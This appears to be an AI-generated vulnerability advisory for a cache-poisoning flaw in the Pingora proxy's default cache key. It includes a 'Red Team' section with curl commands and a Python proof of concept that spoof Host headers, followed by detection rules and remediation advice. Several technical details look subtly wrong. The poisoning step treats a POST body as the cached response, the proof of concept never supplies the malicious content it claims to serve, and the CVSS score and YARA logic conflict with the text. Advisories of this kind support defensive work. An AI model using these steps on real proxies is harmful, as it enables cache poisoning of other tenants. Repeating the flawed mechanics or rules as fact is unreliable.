CVE-2026-2836
Executive Summary
CVE-2026-2836 is a cache poisoning vulnerability in Cloudflare's Pingora HTTP proxy framework, specifically in its default cache key construction. The default implementation generates cache keys using only the URI path, omitting critical factors such as the Host header (authority). This allows an attacker to poison the cache, causing cross-origin responses to be served to unintended users. The vulnerability impacts multi-tenant deployments where cache poisoning can lead to cross-tenant data leakage and serving of malicious content. Cloudflare's own CDN infrastructure was not affected as they never used the insecure default. The fix requires upgrading to Pingora v0.8.0 or higher, which removes the insecure default and forces users to implement explicit cache key callbacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Pingora crate (Rust package) available on crates.io. Users of the Pingora library who rely on the default CacheKey implementation are vulnerable. The insecure default was removed in v0.8.0, and users must now explicitly implement their own cache key callback. This is a supply chain risk for any application using Pingora's alpha proxy caching feature with the default configuration.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official CVSS vector assigned) Threat Level: High (based on impact analysis)
Rationale: While no CVSS vector is provided, the vulnerability allows cache poisoning, which can lead to cross-tenant data leakage and serving of malicious content. The attack vector is network-based, requires no authentication, and can be exploited remotely. The complexity is low as it only requires crafting requests with different Host headers.
Deep Dive & Mechanics
The vulnerability lies in Pingora's default CacheKey implementation. When caching HTTP responses, the cache key is constructed using only the URI path (e.g., /index.html). This means that requests to the same path but with different Host headers (e.g., Host: tenant1.example.com vs Host: tenant2.example.com) will map to the same cache entry.
Attack Scenario:
- An attacker sends a request to
http://victim.example.com/resourcewith a malicious Host header (e.g.,Host: attacker.com). - The Pingora proxy caches the response under the key
/resource. - A legitimate user requests
http://victim.example.com/resourcewith the correct Host header. - The proxy serves the cached response from the attacker, potentially containing malicious content or data from another tenant.
Root Cause: The default CacheKey implementation in Pingora's alpha proxy caching feature did not include the Host header, origin server HTTP scheme, or other varying attributes in the cache key. This violates HTTP caching best practices, which require cache keys to include the authority (host and port) and scheme.
Vulnerable vs. Patched Code
Vulnerable Code (Pingora < 0.8.0):
// Default CacheKey implementation (simplified)
impl CacheKey for DefaultCacheKey {
fn cache_key(&self, request: &Request) -> String {
// Only uses URI path
request.uri().path().to_string()
}
}
Patched Code (Pingora >= 0.8.0):
// Users must now implement their own CacheKey
struct MyCacheKey;
impl CacheKey for MyCacheKey {
fn cache_key(&self, request: &Request) -> String {
// Include Host header and scheme
format!("{}://{}{}",
request.scheme().unwrap_or("http"),
request.host().unwrap_or("unknown"),
request.uri().path()
)
}
}
Key Changes:
- The default
CacheKeyimplementation was removed. - Users must now explicitly implement a callback that includes the Host header, scheme, and other varying attributes.
- The patched version forces developers to consider cache key uniqueness.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A Pingora proxy (version < 0.8.0) with alpha caching enabled and default CacheKey.
- Two different origins (e.g.,
tenant1.example.comandtenant2.example.com).
Exploitation Steps:
- Identify a Pingora proxy using default caching.
- Send a malicious request to poison the cache:
curl -H "Host: attacker.com" http://victim-proxy.example.com/resource -d "malicious content" - The proxy caches the response under key
/resource. - A legitimate user requests the same resource:
curl -H "Host: tenant1.example.com" http://victim-proxy.example.com/resource - The proxy serves the cached malicious response.
Proof of Concept (Python):
import requests
proxy_url = "http://victim-proxy.example.com"
malicious_host = "attacker.com"
legitimate_host = "tenant1.example.com"
path = "/resource"
# Poison the cache
requests.get(f"{proxy_url}{path}", headers={"Host": malicious_host})
# Victim request
response = requests.get(f"{proxy_url}{path}", headers={"Host": legitimate_host})
print(response.text) # Serves malicious content
Blue Team (Defender)
Detection:
- Monitor for requests with mismatched Host headers and URI paths.
- Look for cache hits on resources that should be tenant-specific.
- Analyze cache key collisions in logs.
Mitigation:
- Immediately upgrade to Pingora v0.8.0 or higher.
- Implement custom cache key that includes Host header, scheme, and other varying attributes.
- Use separate cache pools for different tenants.
Indicators of Compromise (IOCs)
Network IOCs:
- Requests with unusual Host headers that don't match the expected domain.
- Cache hits on resources that should be unique per tenant.
- Responses containing content from different origins than requested.
Log IOCs:
- Cache key collisions in Pingora logs.
- Multiple requests to the same path with different Host headers in short succession.
- Error logs indicating cache key mismatches.
File IOCs:
- Pingora configuration files using default CacheKey (no custom implementation).
- Version strings indicating Pingora < 0.8.0.
Detection Engineering
YARA Rule
rule CVE_2026_2836_Pingora_Cache_Poisoning {
meta:
description = "Detects Pingora versions vulnerable to CVE-2026-2836 cache poisoning"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-2836"
strings:
$version_low = "pingora-" ascii nocase
$cache_key_default = "DefaultCacheKey" ascii nocase
$cache_key_impl = "impl CacheKey" ascii nocase
condition:
$version_low and ($cache_key_default or not $cache_key_impl)
}
Sigma Rule
title: CVE-2026-2836 Pingora Cache Poisoning Attempt
id: cve-2026-2836-pingora-cache-poison
status: experimental
description: Detects potential cache poisoning attempts against Pingora proxy
author: Valters IT
date: 2026-01-01
logsource:
category: proxy
product: pingora
detection:
selection:
http.host|contains:
- "attacker"
- "evil"
- "malicious"
http.uri|startswith: "/"
condition: selection
falsepositives:
- Legitimate multi-tenant configurations
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-2836 Pingora Cache Poisoning Attempt"; flow:to_server; content:"Host|3a|"; http_header; pcre:"/^Host:\s*(?!.*\.example\.com)/Hi"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Pingora to version 0.8.0 or higher.
- If upgrade is not possible, remove any usage of the default
CacheKeyand implement a custom callback that includes:- Host header (authority)
- Upstream peer's HTTP scheme
- Any other attributes that should vary the cache (e.g., query parameters, cookies)
Long-term Measures:
- Implement strict cache key validation in CI/CD pipelines.
- Use separate cache pools for different tenants.
- Monitor cache hit ratios for anomalies.
- Conduct regular security audits of caching configurations.
Workaround:
- Disable caching entirely if not critical.
- Use a reverse proxy (e.g., Nginx) with proper cache key configuration in front of Pingora.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.